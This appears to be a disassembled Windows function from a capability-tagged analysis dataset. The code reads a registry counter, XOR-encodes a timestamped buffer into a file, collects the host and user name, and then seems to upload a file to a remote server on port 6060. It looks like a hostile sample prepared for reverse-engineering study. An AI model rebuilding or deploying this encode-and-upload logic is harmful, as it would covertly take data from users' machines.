Function at 0x4255b0
Capabilities:
Clear file content
Encode data using xor
Get hostname
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x44303c
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x24]
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.00424080
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x443004
xor bl, bl
call fcn.0042c270
add esp, 4
push eax
push 0x80000001
call dword [fcn.0043a024]
test eax, eax
jne 0x42574f
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.user32.dll_wsprintfA]
cmp eax, 2
jne 0x4256c1
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x442ff0
mov dword [esp + 0x28], 0x40
call fcn.0042c270
mov ecx, dword [esp + 0x2c]
mov ebp, dword [fcn.0043a028]
add esp, 4
push eax
push ecx
call ebp
push 0x442908
lea edx, [esp + 0x84]
push 0x442fec
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x425696
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcmp]
test eax, eax
jne 0x425696
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x442fdc
mov dword [esp + 0x28], 4
call fcn.0042c270
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push 0x442908
lea edx, [esp + 0x44]
push 0x442fec
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.kernel32.dll_lstrlen]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x442fc8
mov dword [esp + 0x28], eax
call fcn.0042c270
mov edx, dword [esp + 0x2c]
mov edi, dword [fcn.0043a050]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x42571c
inc dword [esp + 0x10]
jmp 0x425724
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x442fdc
call fcn.0042c270
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [fcn.0043a04c]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x425b80
cmp eax, 5
ja 0x425b80
test bl, bl
je 0x425776
cmp dword [0x44647c], 9
jge 0x425b80
push 0x442fb8
call fcn.0042c270
add esp, 4
push eax
push esi
call fcn.00424080
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x4258af
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [esi + 0x143c]
test eax, eax
je 0x4257be
mov ecx, dword [esi + 0x1440]
cmp ecx, eax
mov eax, 0x442150
ja 0x4257c3
mov eax, 0x446714
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x4420f8
lea ebp, [esi + 0x1c]
call fcn.0042c200
add esp, 4
push eax
push ebp
call fcn.00407adb
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1438]
not ecx
dec ecx
test eax, eax
mov edi, ecx
je 0x425867
test edi, edi
jle 0x425879
mov ecx, 0xffffffe4
mov eax, ebp
sub ecx, esi
mov edx, dword [esi + 0x1438]
add edx, 2
mov dword [esi + 0x1438], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [ecx + eax]
cmp edx, edi
jl 0x425845
jmp 0x425879
push ebp
push ebp
lea eax, [esi + 0x1030]
push edi
push eax
call fcn.0042bbb0
add esp, 0x10
cmp dword [esi + 0x143c], 0x3e7
je 0x425897
mov edx, dword [esi]
lea ecx, [esp + 0x20]
push 0
push ecx
push edi
push ebp
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.kernel32.dll_SetEndOfFile]
mov ecx, dword [esi]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x446268
call fcn.00429e80
test eax, eax
jne 0x4258dd
push 0x442fa8
call fcn.0042c270
add esp, 4
mov ecx, 0x446268
push eax
call fcn.00429c70
test eax, eax
je 0x425b80
push 0x442f94
call fcn.0042c270
add esp, 4
mov ecx, 0x446268
push eax
call fcn.00429e80
push eax
call fcn.00426980
push 0x442f7c
mov esi, eax
call fcn.0042c270
add esp, 4
mov ecx, 0x446268
push eax
call fcn.00429e80
push eax
call fcn.00426980
push 0x442f64
mov edi, eax
call fcn.0042c270
add esp, 4
mov ecx, 0x446268
push eax
call fcn.00429e80
push eax
call fcn.00426980
push 0x442f54
mov ebp, eax
call fcn.0042c270
add esp, 4
mov ecx, 0x446268
push eax
call fcn.00429e80
push eax
call fcn.00426980
test esi, esi
mov dword [esp + 0x20], eax
je 0x425b80
test edi, edi
je 0x425b80
test ebp, ebp
je 0x425b80
test eax, eax
je 0x425b80
push 0
push 0
push 0
push 0
push 0x442f48
call fcn.0042c200
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x425b80
push 0
push 0x8000000
push 1
push 0x442f14
call fcn.0042c270
add esp, 4
push eax
push 0x442f08
call fcn.0042c200
add esp, 4
push eax
push 0x17ac
push 0x442ef8
call fcn.0042c200
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x4259f0
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea edx, [esp + 0x1c]
lea eax, [esp + 0x140]
mov edi, 0x80
push edx
push eax
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.kernel32.dll_GetComputerNameA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xc0]
push ecx
push edx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [0x43a048]
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [0x44647c]
cmp eax, 1
jne 0x425a4f
push 0x442eec
jmp 0x425ab4
cmp eax, 2
jne 0x425a5b
push 0x442ee0
jmp 0x425ab4
cmp eax, 3
jne 0x425a67
push 0x442ed8
jmp 0x425ab4
cmp eax, 4
jne 0x425a73
push 0x442ecc
jmp 0x425ab4
cmp eax, 5
jne 0x425a7f
push 0x442ec0
jmp 0x425ab4
cmp eax, 6
jne 0x425a8b
push 0x442eb0
jmp 0x425ab4
cmp eax, 7
jne 0x425a97
push 0x442ea4
jmp 0x425ab4
cmp eax, 8
jne 0x425aa3
push 0x442e98
jmp 0x425ab4
cmp eax, 9
jne 0x425aaf
push 0x442e8c
jmp 0x425ab4
push 0x442e84
call fcn.0042c200
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x2b38]
add ecx, 0x2b10
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x4466cc]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x3e
push ecx
push 0x442e28
call fcn.0042c270
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.004304d9
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x44615c
push esi
call dword [esp + 0x34]
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret